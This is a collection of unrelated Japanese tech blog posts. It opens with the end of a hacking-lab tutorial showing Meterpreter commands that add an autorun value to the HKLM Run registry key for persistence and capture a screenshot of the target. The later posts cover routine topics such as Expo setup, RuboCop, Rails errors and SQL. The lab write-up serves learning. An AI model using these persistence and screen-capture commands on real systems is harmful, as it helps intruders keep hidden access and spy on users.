まず、値を確認します。

```
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (1):

	SecurityHealth

meterpreter > 
```

値を変更します。

```
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v explorer -d  'C:\Windows\explorer.exe'
Successfully set explorer of REG_SZ.
meterpreter >
```

値を確認して、「explorer.exe」が追加されていることを確認します。

```
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (2):

	SecurityHealth
	explorer

meterpreter > 
```

###④スクリーンショット
以下のコマンドからWindowsのスクリーンショットを取得できます。

```
meterpreter > screenshot
```


#５、おわりに

Meterpreterを中心に学習を行ったため、後半のLANやWebアプリ経由のハッキングを試してみたいです。
また、他のソフトウェアを使用したハッキングも試そうと思います。

#６、参考資料

[ハッキング・ラボのつくりかた](https://www.shoeisha.co.jp/book/detail/9784798155302)（こちらはメイン資料です。）
[実践 Metasploit](https://www.oreilly.co.jp/books/9784873115382/)（Meterpreterに関して詳しい。）
PyAutoGUIで、複数の画像を与えて座標を返す。

```python
import pyautogui

def locate_first_center(pictures_path: list):
    """
    Args
        pictures_path(list): list of paths
    Returns
        Coordinates if one of the pictures is found.
        None if none of the pictures are found.
    """
    if len(pictures_path) < 1:
        raise IndexError
    for picture in pictures_path:
        center = pyautogui.locateCenterOnScreen(picture)
        if center:
            return center   # Coordinates of the found picture
    return center   # None or coordinates of the morst right picture.


if __name__ == "__main__":
    # a.pngがなければb.pngをクリックする
    pos = locate_first_center(['a.png', 'b.png'])
    click(pos)
```
React Native + Expoの環境構築(2020年12月版)

# 0.前提
Expo SDK: 39.0.0
Node.js: 14.15.3
AndroidStudio: 4.1.1
Windows10にExpoの環境構築を行います
※Windowsのユーザー名（アカウント名）が日本語だとAndroid Studioのインストールに失敗するので、
ユーザー名が日本語の場合はアルファベットで新たにユーザーを作成して、そのユーザーで以下の手順を行ってください。

# 1.Node.jsのインストール
下記からダウンロードしてインストールする
https://nodejs.org/ja/

# 2.Expoのインストール
PowerShellを開き
下記コマンドでExpoのCLIをインストール

```
npm install --global expo-cli
```
WARNはいくつかでますが、ERRORが出てなければ問題ないはずです
インストールが完了したら、コマンドラインで利用できるかを確認

※「セキュリティエラー」と出てきたら以下のコマンドを実行し、実行ポリシーを変更してから再度上記コマンドをたたいてください。

```
Set-ExecutionPolicy RemoteSigned
```


下記コマンドを実行し、バージョン情報が表示されれば、インストールが完了しています。

```
expo --version
```

# 3.プロジェクトの作成
プロジェクトを作成したいディレクトリに移動して、

```
cd C:\ExpoProject
```

下記のコマンドで初期のプロジェクトを作成します。
「ProjectName」という名前のプロジェクトを作成する場合

```
expo init ProjectName
```

新規プロジェクト作成では、テンプレートが選択できます。ここでは blank を選びます（Enterキー）。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/4125f560-6a5a-bcc9-b4d8-df88864f927e.png)
しばらく待つとプロジェクトが作成されます。


# 4.AndroidStudioのインストール
下記からインストーラをダウンロードし、インストールする。
https://developer.android.com/studio?hl=ja

AndroidStudioを起動して適当な名前でプロジェクトを作成する
※こで作成するプロジェクトはAndroidデバイスのemulatorを起動させるためだけに作成します

作成したら右上のAVD Managerのアイコンをクリックする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/07ab3660-3dd2-aae4-606f-4265f83391f4.png)

▶をクリックしてバーチャルデバイスを起動する（なければ作成してください）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/957c0e11-41fa-5c2d-3fbb-8e6fc59d963b.png)

Android Emulatorが起動すればOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/e6558c23-cdf8-b019-a4f7-f936e8951948.png)


# 5.AndroidStudioのemulatorを使って、アプリの動作確認をする。
3.で作成したプロジェクトフォルダに移動して下記コマンドを実行

```
expo start
```


下記画面が表示され、ブラウザが立ち上がる（終了はCtrl + C）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/50ebf0bd-a5dc-4c16-2383-ffb34149fa3e.png)
※expo startすると毎回ブラウザが立ち上がる。ブラウザが立ち上がらいないようにしたい場合はexpo startした後にShift+Dで次回かたブラウザが立ち上がらなくなる。

Android  Emulatorを立ち上げ、ブラウザのRun on Android device/emulatorをクリック(コマンドライン上で、「a」を入力でもOK)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/c1eda703-5201-3d5c-4037-e7f2862bfa10.png)

emulator上でアプリが起動し、「Open up App.js...」が表示されればOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927110/17a8bb33-f3be-9150-2ac5-954add60b6c5.png)


以上。
Azure Monitor ログアラートとメトリックアラートの違い

#記事を書いた背景
Azure Monitorにおける知見の日本語化が全然されていないのでちょっとでも増やしたいと思い書いています。MSのサポートに問合せをして噛み砕いた説明をしてもらえたので共有したいと思います

#今回説明する範囲

・収集データ が Log Analytics ワークスペースに送信される流れ
・ログアラートにおけるアラートが通知される流れ
・メトリックアラートにおけるアラートが通知される流れ
・ログアラートとメトリックアラートの違い

##収集したデータ が Log Analytics ワークスペースに送信される流れ

収集したデータは、VM 上で作成された後、Azure の内部データべースに格納されます。格納された Heartbeat データは、Log Analytics ワークスペースにデータを送信します。

（データは例としてHeartbeatデータとしている）
![image001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/318779/1e10cb0c-5374-c060-9007-8e6f8700c3c8.png)


##ログアラートにおけるアラートが通知される流れ

Log Analytics のログ クエリを活用したログ アラートの場合、Log Analytics ワークスぺースのデータを確認し、アラートルールに合致していればアラート通知される

https://docs.microsoft.com/ja-jp/azure/azure-monitor/platform/alerts-unified-log

##メトリックアラートにおけるアラートが通知される流れ

Log Analytics ワークスペースにあるデータを確認していません。
メトリック アラートの場合、内部 DB に送信されたデータを、Azure のデータ分析基盤が分析します。

分析した結果で、アラート判定を実施します。

（データは例としてHeartbeatデータとしている）
![image002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/318779/cf2b26af-c362-dbd8-34c1-a503935daa6b.png)

https://docs.microsoft.com/ja-jp/azure/azure-monitor/platform/alerts-metric-overview

##ログアラートとメトリックアラートの違い

**ログアラート**　　　　→　Log Analytics ワークスペースのデータを分析し、判定。Log Analytics ワークスペースに格納されてから判定を行う。

**メトリックアラート**　→　内部DBに送信されたデータをAzureのデータ分析基盤にて分析し、判定。Azureのデータ分析基盤が遅延した場合、Heartbeatアラート等は遅延し、問題が無くてもアラート発報する可能性がある。また、アラート画面にて表示されているグラフは内部DBに保存されているデータをもとに描画している。
RuboCopの設定

先日RailsプロジェクトにRuboCopを導入しましたが、設定が沢山あり、何を書いたらいいか分からなかったので、私の設定について紹介したいと思います。
対象読者は、初めてRuboCopを導入する方です。

## RuboCopとは
RuboCopとは、静的コード解析ツールの一つで、コードがコーディング規約に則り書かれているかをチェックすることができます。
RuboCopの導入方法については省略します。

## RuboCop設定の記述方法
そもそもRuboCopの設定については、最初に書かなければいけないわけではなく、コードチェックを一度実行してみて、個人、又はチームのコーディング規約と合っていない部分のみ設定に記述すれば良いと思います。

## .rubocop.yml
```.yml
require:
  - rubocop-rails
  - rubocop-performance

AllCops:
  TargetRubyVersion: 2.7.1
  TargetRailsVersion: 6.0.3.3
  Exclude:
    - "node_modules/**/*"
    - "tmp/**/*"
    - "vendor/**/*"
    - ".git/**/*"
    - "config/**/*"
    - "app/channels/**/*"
    - "app/mailers/*"
    - "db/migrate/*"
    - "bin/*"
    - "db/schema.rb"
    - "spec/rails_helper.rb"
    - "spec/spec_helper.rb"
    - "Gemfile"
    - "Rakefile"
    - "config.ru"

Rails:
  Enabled: true

# デフォルトをダブルクォーテーションに設定
Style/StringLiterals:
  EnforcedStyle: double_quotes

# 日本語のコメントを許可
Style/AsciiComments:
  Enabled: false

# classの説明コメントは不要
Style/Documentation:
  Enabled: false

# フローズンリテラルコメントは不要
Style/FrozenStringLiteralComment:
  Enabled: false

```

## 解説

今回導入しているgemは、以下の3つです。
- rubocop
- rubocop-performance
- rubocop-rails

### require: rubocop-performance
　gem rubocop-performanceを導入している際に必要な記述です。

### require: rubocop-rails
　gem rubocop-railsを導入している際に必要な記述です。

### AllCops: TargetRubyVersion:
　使用しているRubyのバージョンを指定します。

### AllCops: TargetRailsVersion:
　使用しているRailsのバージョンを指定します。

### AllCops: Exclide:
　コードチェックを行わないファイルを指定します。
　自動生成されるファイルや、殆ど変更することのないファイルはここに指定しておくと無駄にエラーが出力されなくて済みます。

### Rails: Enabled: true
　gem rubocop-railsを導入している際はtrueにします。

### Style/StringLiterals:
　文字列リテラルの指定です。私は文字列リテラルは基本的にダブルクオートを使用するようにしていますが、RuboCopでは式展開がない場合は、シングルクオートをデフォルトとしています。
　ダブルクオートを使用する場合は、EnforcedStyle: double_quotesを指定します。

### Style/AsciiComments:
　デフォルトではコード内のコメントを日本語で書くことは推奨されていません。
　しかし、今の所自分しかコードを読まないので、日本語でのコメント記述を許可するため、Enabled: falseを指定します。
　Enabled: falseは、この項目自体チェックを行わないという事です。

### Style/Documentation:
　これは class hogeというクラスの定義の前にクラスについて説明する為のコメントを書きなさいという項目ですが、全てのクラスにコメントを書いていられないので、falseに設定しました。

### Style/FrozenStringLiteralComment:
　フローズンリテラルコメントとは、# frozen_string_literal: true というコメントを記載する事によってファイル内の文字列をイミュータブルにする為のものです。
　今回の開発では必要ないと判断し、falseに設定しました。


コードを読みやすく、保守しやすいものとするため、適度に設定する事を心がけたいものです。
Macの連続キー入力を早くする

値が小さいほど速いらしい

```terminal
// 設定
$ defaults write -g InitialKeyRepeat -int 10
$ defaults write -g KeyRepeat -int 1

// 確認
$ defaults read -g InitialKeyRepeat
$ defaults read -g KeyRepeat

```



## 参考

- https://qiita.com/gotchane/items/4789cb4e1f26c2f4c2a8
AWSで請求のmethodの問題でアカウントを停止された

#原因
ほぼAWSを利用しない月があったため、請求が$1ドル以下だった。
クレジットカードの仕様で少額の請求がロックされているとのこと。
90日間支払わないとアカウントが停止されるらしい。

https://console.aws.amazon.com/billing/home#/paymenthistory

ここで請求履歴を見ても表示がないからムカついた。

#対処
1. クレジットカード会社に連絡してロックを解除してもらう
2. AWSに問い合わせて再度請求をお願いする(https://console.aws.amazon.com/support/home?#/case)
3. 反映まで少しかかる様なので時間を置いて再度ログイン


#結果
日本のAWSのサポートの人が機械的な対応で少し不安だったけどしっかりアカウントが使える様になりました。
インスタンスもちゃんと残ってました！

AWSをもう少しわかりやすく表記して欲しいです...
松本 隆作詞楽曲リストのPDFをCSVに変換の予定が・・・

Twitterで「松本隆全曲リスト、PDFじゃなくCSVで欲しい。」のコメントを発見

PDFを確認するためサイトを確認（ https://columbia.jp/matsumototakashi/ ）

PDFのほかにWebページを発見。表を確認（ https://columbia.jp/matsumototakashi/all_list.html ）

表をPandasのread_html取れるやろ"No tables found matching"なんで？　※Javascriptで表を作成してます

ソース確認

「csvのパス」とかかれたcsvファイル発見 ← 今ココ

https://columbia.jp/matsumototakashi/music-listDec.csv

```python
import pandas as pd

df = pd.read_csv("https://columbia.jp/matsumototakashi/music-listDec.csv", index_col="順")

df["歌手名"].value_counts().head(50)
```

|                  |   歌手名 |
|:-----------------|---------:|
| 松田聖子         |      137 |
| 太田裕美         |      100 |
| 南 佳孝          |       79 |
| 岡田奈々         |       43 |
| 近藤真彦         |       43 |
| CCB              |       39 |
| 鈴木 茂          |       34 |
| 中原理恵         |       32 |
| 大瀧詠一         |       32 |
| 芳本美代子       |       31 |
| 桑名正博         |       30 |
| 吉田拓郎         |       29 |
| アグネス・チャン |       29 |
| 佐藤 隆          |       28 |
| はっぴいえんど   |       28 |
| 水谷 豊          |       26 |
| 五郎部俊朗       |       24 |
| 福井 敬          |       22 |
| 中山美穂         |       22 |
| 藤井尚之         |       22 |
| 島田奈美         |       22 |
| 薬師丸ひろ子     |       21 |
| ひかる一平       |       21 |
| 安部恭弘         |       20 |
| 森山良子         |       18 |
| 原田真二         |       17 |
| 山瀬まみ         |       17 |
| 大橋純子         |       16 |
| Johnny           |       16 |
| THE東南西北      |       14 |
| 木之内みどり     |       14 |
| 西村知美         |       14 |
| 野口五郎         |       14 |
| 中村雅俊         |       14 |
| 裕木奈江         |       14 |
| 坂上香織         |       13 |
| 五木ひろし       |       13 |
| ザ・リリーズ     |       13 |
| KinKi Kids       |       12 |
| 里中茶美         |       12 |
| 矢沢永吉         |       12 |
| イモ欽トリオ     |       12 |
| クミコ           |       12 |
| 大竹しのぶ       |       12 |
| 本田美奈子       |       12 |
| 小泉今日子       |       11 |
| 藤井 隆          |       11 |
| 香坂みゆき       |       11 |
| 児島未散         |       11 |
| 山口百恵         |       11 |
cron駆動のdocker(docker-compose) execが走らない問題の対応

どハマりした。

# exec のオプションを確認

- docker exec --help

```
Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container

Options:
  -d, --detach               Detached mode: run command in the background
      --detach-keys string   Override the key sequence for detaching a container
  -e, --env list             Set environment variables
      --env-file list        Read in a file of environment variables
  -i, --interactive          Keep STDIN open even if not attached
      --privileged           Give extended privileges to the command
  -t, --tty                  Allocate a pseudo-TTY
  -u, --user string          Username or UID (format: <name|uid>[:<group|gid>])
  -w, --workdir string       Working directory inside the container
```

- docker-compose exec --help

```
Execute a command in a running container

Usage: exec [options] [-e KEY=VAL...] [--] SERVICE COMMAND [ARGS...]

Options:
    -d, --detach      Detached mode: Run command in the background.
    --privileged      Give extended privileges to the process.
    -u, --user USER   Run the command as this user.
    -T                Disable pseudo-tty allocation. By default `docker-compose exec`
                      allocates a TTY.
    --index=index     index of the container if there are multiple
                      instances of a service [default: 1]
    -e, --env KEY=VAL Set environment variables (can be used multiple times,
                      not supported in API < 1.25)
    -w, --workdir DIR Path to workdir directory for this command.
```

# 結論

docker exec の場合 -t のオプションを**使用する**とcronからは動かない。
docker-compose の場合 -T のオプションを**使用しない**とcronからは動かない。
【Runy On Rails】Active Hashのエラー NameError in Controller ActiveHash Did you mean?  ActiveStorage): の解決方法

#エラーに至るまでの経緯・背景
下記のようなコマンドをターミナルで実行し、Active Hashを用いたドロップダウンリストを作成したい。

```terminal
% rails g model モデル名 --skip-migration
```

Active Hash用のモデルを作成して、各モデルを編集したところ今回のようなエラーが出た。
![スクリーンショット 2020-12-17 14.53.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/770386/0d92e3eb-27cd-0ea8-0994-60dd6d633a28.png)


#原因
Active Hashのgemをそもそも導入していなかった。（初歩的なミスですが・・・）

#対処法
Gemfileの一番下にActive Hashの記述をする。

```Ruby:Gemfile
gem 'active_hash'
```

bundle installを行い、Gemfile.lockに反映させる

```terminal:terminal
% bundle install

Bundle complete! 19 Gemfile dependencies, 81 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
```

![スクリーンショット 2020-12-17 15.08.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/770386/10a2c867-06e5-08e6-3c50-5971996a8d4d.png)

ビューに反映できました。

#最後に
今回はActive HashにてGemの追加を忘れてしまいましたが、意外と過去にも何回か、他のgemの機能を使いたいにも関わらず、gemを導入せずにコーディングを進めていたことが原因でエラーが出てしまうことがありました。

今後の対策として、先に先にとコーディングを進める前に、まずGemfileに記述がしっかりされているかや、どのgemによってアプリが支えられているかを確認しながらアプリケーションの作成をしていく必要があると感じました。
「MacOS」プログラムで入力ソースを変更

### 解決したこと
MacOSのアプリケーションを起動する際に、日本語入力モードに変更するという問題でした。

例）
現在は「英語」入力モードで、アプリケーションを起動すると、自動的に「日本語」入力モードに変わります。


### 入力ソース変更コード
```Objective-C
#include <Carbon/Carbon.h> //忘れずに
TISInputSourceRef source = TISCopyCurrentKeyboardInputSource();
    NSString *temp= [NSString stringWithFormat:@"%@",TISGetInputSourceProperty(source,kTISPropertyInputSourceLanguages)];
    //NSLog(@"%@", temp);
    NSRange range= [temp rangeOfString:temp];//現在"ja"であるかどうか
    if(range.location != NSNotFound && range.length != 0) {
         source = TISCopyInputSourceForLanguage ((CFStringRef)@"ja");
         if (source != NULL){
             TISSelectInputSource(source);
         }
    }
```


### 最後に
仕事中にこのような要求がありましたので、調べるのは結構時間がかかりました。コードは英語ページから引っ張ってきましたが、どのファイルをインポートするのかと書いてなくて、大変でした。似たような問題にあった方に（笑）
VSCode拡張機能

# VSCodeの拡張機能

## 必須設定

### ESLint
JavaScriptやTypeScriptのための静的検証ツールで、コードが正しいかどうかをチェックします。

### Prettier - Code formatter
コードのフォーマットを自動で整える拡張機能です。

---

## 任意設定

### Japanese Language Pack
VSCodeのインターフェースを日本語化するための言語パックです。

### Material Icon Theme
ファイルやフォルダのアイコンを視覚的にわかりやすく表示する拡張機能です。

### Bracket Pair Colorizer2
括弧の対応関係を色分けして表示する拡張機能です。

### Git History
Gitのコミット履歴やファイルの差分を視覚的に確認できる拡張機能です。

### Color Highlight
コード内に記載された色コードを視覚的に表示する拡張機能です。
No Newline at End of Fileって何？どう対策するの？

# No Newline at End of Fileって何？どう対策するの？
## No Newline at End of Fileって何？
### 前提となる文化

> all text files should end with a newline

> A source file that is not empty shall end in a new-line character, which shall not be immediately preceded by a backslash character.

Since this is a “shall” clause, we must emit a diagnostic message for a violation of this rule.


まあつまり、**空ではないソースファイルは、改行文字で終わらせなければならない。**
とのことですね
C言語における標準ルールだったそうです

[No Newline at End of File](https://thoughtbot.com/blog/no-newline-at-end-of-file)

## どう対策するか
### エディターでフォーマッターの設定をする
僕はエディターがVScodeなので
VScodeでは、ファイル末尾に自動的に改行を挿入してくれる設定があったのでそれを今回使いたい

VScodeのコマンドマレット開いて
> setting
と打つと、setting.jsonが開くはずです。
そこで、

```json:setting.json
"files.insertFinalNewline": true
```
と打ってください！
これでOKです

## 締め
先輩エンジニアの方に、「大工は自分の工具を毎日整備し、漁師は毎日漁のための道具をチェックする。そのようにエンジニアも、自分の開発環境は整備するべき。」と教えて頂いたので、今回初めてNOEOL(No end of line)問題に取り掛かってみました。
TextViewの文字を修飾する

ここの文字<b>太字</b>にしてとか言われてやり方を調べるので、自分用のメモ

## 初級
string.xmlに設定すれば<b>太字</b>とかは簡単に実装できる

```xml
    <string name="password">パスワード</string>
    <string name="password_u"><u>パスワード（下線）</u></string>
    <string name="password_b"><b>パスワード（太字）</b></string>
    <string name="password_u_2">一部<u>パスワード</u>（下線）</string>
    <string name="password_b_2">一部<b>パスワード</b>（太字）</string>
```

![device-2020-12-17-141536.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/58514/a5ae558a-112f-d696-0b1e-574c3caf451b.png)


## 中級
動的に下線<u> </u>太字<b></b>を設定する

```kotlin
        val textN = findViewById<TextView>(R.id.password_n)
        textN.text = getString(R.string.mail)

        val textU = findViewById<TextView>(R.id.password_u)
        textU.text = getString(R.string.password_u)

        val textB = findViewById<TextView>(R.id.password_b)
        textB.text = getString(R.string.password_b)
```

![device-2020-12-17-142204.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/58514/d19db9af-a992-c05c-a47c-244d35a13b09.png)

<b>失敗する!!!</b>

### 全部を太字にする場合
[android:textStyle="bold"]をTextViewのxmlに設定すれば対応可能

```xml
android:textStyle="bold"
```

TextViewに[.typeface = Typeface.DEFAULT_BOLD]でも可能

```kotlin
textB.typeface = Typeface.DEFAULT_BOLD
```


### 一部を太字にする場合
`SpannableStringBuilder` を使えば解決する

```kotlin
        val textB = findViewById<TextView>(R.id.password_b)
        val testPassword = getString(R.string.password_b_2)
        val sb = SpannableStringBuilder(testPassword)
        sb.setSpan(
            StyleSpan(Typeface.BOLD),
            2, //太字開始位置
            testPassword.length - 4, //終了位置
            Spanned.SPAN_EXCLUSIVE_EXCLUSIVE
        )
        textB.text = sb

```

![スクリーンショット 2020-12-17 14.42.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/58514/0348fc97-6be4-93b8-7ae0-d61da93f3dc6.png)

公式ドキュメント
[SpannableStringBuilder](https://developer.android.com/reference/android/text/SpannableStringBuilder)
[Span](https://developer.android.com/guide/topics/text/spans)
↑
これみたら文字色変えたり下線にしたりサイズ大きくしたり色々書いてるよ
2014〜2019年までの急上昇中のテックスキルと低下中のテックスキル

# 世界のテック事情を調査（Indeed版）
今さらですが、以下記事参考にメモ用にまとめてみたくなったので、投稿しました。
https://www.hiringlab.org/2019/11/19/todays-top-tech-skills/

・注）DeepL翻訳したものを載せてます。（Lさん、いつもありがとう）

# 急上昇中の技術スキル2014-2019

2014年と2019年の間の変化率
![fastest rising skill tech skills 2014-2019.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/c031674a-a55b-2222-e637-475b7be3d3a5.png)

ポイント
・2019年9月までに、Dockerは4,000％以上上昇
・Azure、Spark、Redshift、およびAmazon Web Services（AWS）はすべてデータ処理用のツールであり、それぞれが少なくとも5倍になっています。
・人工知能と機械学習の2つのデータサイエンス分野がトップ10に入っており、それぞれ701％と439％増加しています。データ分析ソフトウェアのTableauとプログラミング言語のScalaがトップ20のリストに含まれています。

# 急上昇中の技術スキル2018-2019
![fastest rising skill tech skills 2018-2019.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/fab00d7d-c9ba-e56c-803d-59fe76f98d30.png)
ポイント
・PyTorch、GraphQL、Kotlinが最も急上昇したスターであり、Vue.js、Google Cloud Platform、Kubernetesもトップ10以内にランクイン


# 急低下中の技術スキル2014-2019
![Sharpest declining tech skill2014-2019.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/6cd3a13a-8772-aeb8-5e43-c64861b2aa7b.png)

ポイント
・ランキングに表記されてませんが、jQuery:-30%、PHP:-25％、Ruby:-6％、Ruby on Rails:-27％とダウンしています

# 結論
今日のテックスキルのトップはSQLで、次いでJava、そしてPythonの順となっています。JavaScriptと特にAWSも強力に成長しています。データサイエンスの仕事が爆発的に増えたことも、Pythonの台頭に大きく貢献しています。

# 個人的な感想
使ってるからだけど、ReactとGraphQL伸びてるのなんか嬉しい！
使ってる技術が伸びてると、自分の子供が成長してるみたいで嬉しいですよね。

ここは間違い、ここはこうでは？等々ございましたらご指摘いただけますと幸いです。
最後までみていただきありがとうございます。
Python で路線図を描いてみた

この記事は [ISer Advent Calendar 2020](https://adventar.org/calendars/4946) の 17 日目の記事として書かれました．

### 元データ

以下の国土数値情報ダウンロードサイトからダウンロード可能です．
https://nlftp.mlit.go.jp/ksj/gml/datalist/KsjTmplt-N05-v1_3.html
※非商用に限りデータを使用することができます．

フォルダにある `N05-19_RailroadSection2.geojson` を使って路線図を描いていきます．

### JSON の読み取り

Python のモジュール `json` を用います．自動でパースしてくれます．超便利．

```python
import json
import numpy as np
import matplotlib.pyplot as plt

json_open = open('N05-19_RailroadSection2.geojson', 'r', encoding = 'utf_8_sig')
json_load = json.load(json_open)
```

### 路線図の出力

とりあえず今回は東京メトロの路線のみを対象とします．
運営会社が東京地下鉄である路線のうち，`coordinates` 内のデータを引っ張ってきます．これは路線を折れ線で表したデータです．

```python
rc = {
    '2号線日比谷線' : '#b5b5ac',
    '3号線銀座線' : '#ff9500',
    '4号線丸ノ内線' : '#f62e36',
    '4号線丸ノ内線分岐線' : '#f62e36',
    '5号線東西線' : '#009bbf',
    '7号線南北線' : '#00ac9b',
    '8号線有楽町線' : '#c1a470',
    '9号線千代田線' : '#00bb85',
    '11号線半蔵門線' : '#8f76d6',
    '13号線副都心線' : '#9c5e31'
}

for railway_data in json_load['features']:
    if  railway_data['properties']['運営会社'] == '東京地下鉄':
        segments = railway_data['geometry']['coordinates']
        x, y = [], []
        for xy in segments:
            x.append(xy[0])
            y.append(xy[1])
        plt.plot(np.array(x), np.array(y), color = rc[railway_data['properties']['路線名']])
```

このようにしてできた路線図がコチラです．
![tokyometro.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533051/41e164ff-1e97-c040-0759-1e2889afeb6c.png)

### 参考
- [PythonでJSON 読み込み](https://qiita.com/kikuchiTakuya/items/53990fca06fb9ba1d8a7)
- [地下鉄のシンボルカラー メトロカラー - Metro Colors](https://www.colordic.org/m)
ページ移動時のエラー[Uncaught TypeError: Cannot read property 'classList' of null]解決

## はじめに

タイトルについて記事にしました。
この記事で得る内容は以下の通りです。

・ HTML,JavaScriptの基礎知識が増える
・ turbolinksについて
・ エラーMSG[Uncaught TypeError: Cannot read property 'classList' of null]の解決方法

■ 参考
・ [5分でわかるTurbolinks入門【Ruby on Rails】](https://coffeecups.blue/turbolinks/)
・ [turbolinksチートシート](https://qiita.com/morrr/items/54f4be21032a45fd4fe9)

## 例

![haml.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/772631/28820ac0-feda-652d-8f88-9217f63b0dbb.jpeg)

サイトの中にトップに戻るボタンがあり、リンク先に移動すると、指定したclassListがないと怒られています
トップに戻るボタンのJSファイルを`javascript_pack_tag`でリンク元だけ指定しているのですが・・・

## コンソール

![スクリーンショット 2020-12-17 11.23.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/772631/3590c81d-db39-03b4-4974-0144c0c53c13.png)

## 原因

大元の`application.html.haml`にある`data-turbolinks-track`を疑ってみました

#### ・ data-turbolinks-track
・ Rails4.0から採用されたgemで最初からインストールされている
・ Webアプリケーションの動作を速くする
・ `a href`タグでのページ遷移時、JSや他の要素を読み込まずに`body`要素だけ入れ替える
→ つまり、リンク元のJSをそのまま持ってきて、エラーを引き起こしている

## 解決方法

該当の`a href`タグのみturbolinksを無効にします（直接指定するか、親要素に指定してもOK）

```haml:index.html.haml
%a(data-turbolinks="false"){href: hoge_index_path}
```

<font color="white">便利なんだか、不便なんだか・・・公式採用するくらいならメリット100%のやつ作れよ('A`)ボソッ</font>
form送信時、バリデーションが失敗したのにエラーメッセージが表示されない

Ruby on Railsでform_withを使用してフォームを作成し、入力内容を送信した際、モデルのバリデーションに引っかかり、レンダリングされたが、表示されるはずのエラーメッセージが表示されないという事象が発生したので、その原因を紹介します。

## 誤っていたコード

```.rb
class PostsController < ApplicationController
  def new
    @post = Post.new
  end

  def create
    @post = Post.new(post_params)
    if @post.save
      redirect_to root_path
    else
      @post = Post.new  #render前にnewを呼んでいた
      render "new"
    end
  end

  private

  def post_params
    params.require(:post).permit(:content)
  end
end
```

## 原因
原因はsaveに失敗し、レンダリングする前に、@post = Post.newを記述してしまっていた事が原因でした。
@postに対してエラーメッセージがあれば表示するようにしているが、@postへPost.newを新たに入れてしまうと、エラーが発生する前と同じ状態に戻ってしまうため、エラーメッセージが表示されないという状態になっていました。

ということで一行削除したら解決しました。
今ならそんなミスしないだろと思うのですが、、、
勉強始めた頃にやってしまったミスです
Railsのdeviseでコンテナを利用するとログインURLが、コンテナのドメインになってしまう

# 概要
Railsのdeviseでは、未ログイン時に認証が必要なページにアクセスするとログインページへリダイレクトするが、その際、AWSのECS上でコンテナを稼働していると、コンテナがもつドメインにリダイレクトしようとする

# 実装
`default_url_options` を指定するだけ

```ruby:config/application.rb
module Example
  class Application < Rails::Application
    config.action_controller.default_url_options = { host: 'www.example.com', protocol: 'https://', port: nil }
  end
end
```
terraform 0.14 changelog 気になったアップデートをざっくりメモ

[terraform 0.14 changelog](https://github.com/hashicorp/terraform/blob/v0.14.2/CHANGELOG.md) を見て気になったアップデートのメモです。

NEW FEATURESから

- init時にプロバイダバージョンに対するlockファイルが生成されるようになる。将来terraformが同じバージョンを選べるようにしていく
- 0.14以降、互換性のあるフォーマットのstateファイルであれば読み書き可能。しばらくフォーマット変更の予定無し

UPGRADE NOTESから

- sensitiveフラグが付いた変数を出力しようとするとき、output にもsensitive フラグを付けないとエラーになる（パスワード系に使えるのかな？）

ENHANCEMENTSから

- plan, applyのdiffが簡潔になる。デフォルトで変化してないフィールドを非表示にしてくれる

これまで、差分の確認はだいぶ煩雑だったので、この簡潔な差分表示はありがたいですね。
SQL構文の記述する順番と実行される順番

##書き順
SELECT
FROM
JOIN
ON
WHERE
GROUPBY
HAVING
ORDERBY
LIMIT

##実行の順序
FROM（どのテーブルかを選ぶ）
ON（テーブル同士がどのカラムで結合するかを選ぶ）
JOIN（結合するテーブルを選ぶ）
WHERE（選択する行を選ぶ）
GROUPBY（行ごとにまとめる。どの列でまとめるかを決める）
HAVING（GROUPBYでまとめたもののうち条件に合うものを抽出する）
SELECT（結果に出すカラムを選ぶ）
DISTINCT（重複をなくして結果を出す）
ORDERBY（順番を決める。どのカラムを昇順or降順にするか）
TOP（LIMIT）（上位何件を結果として出すか）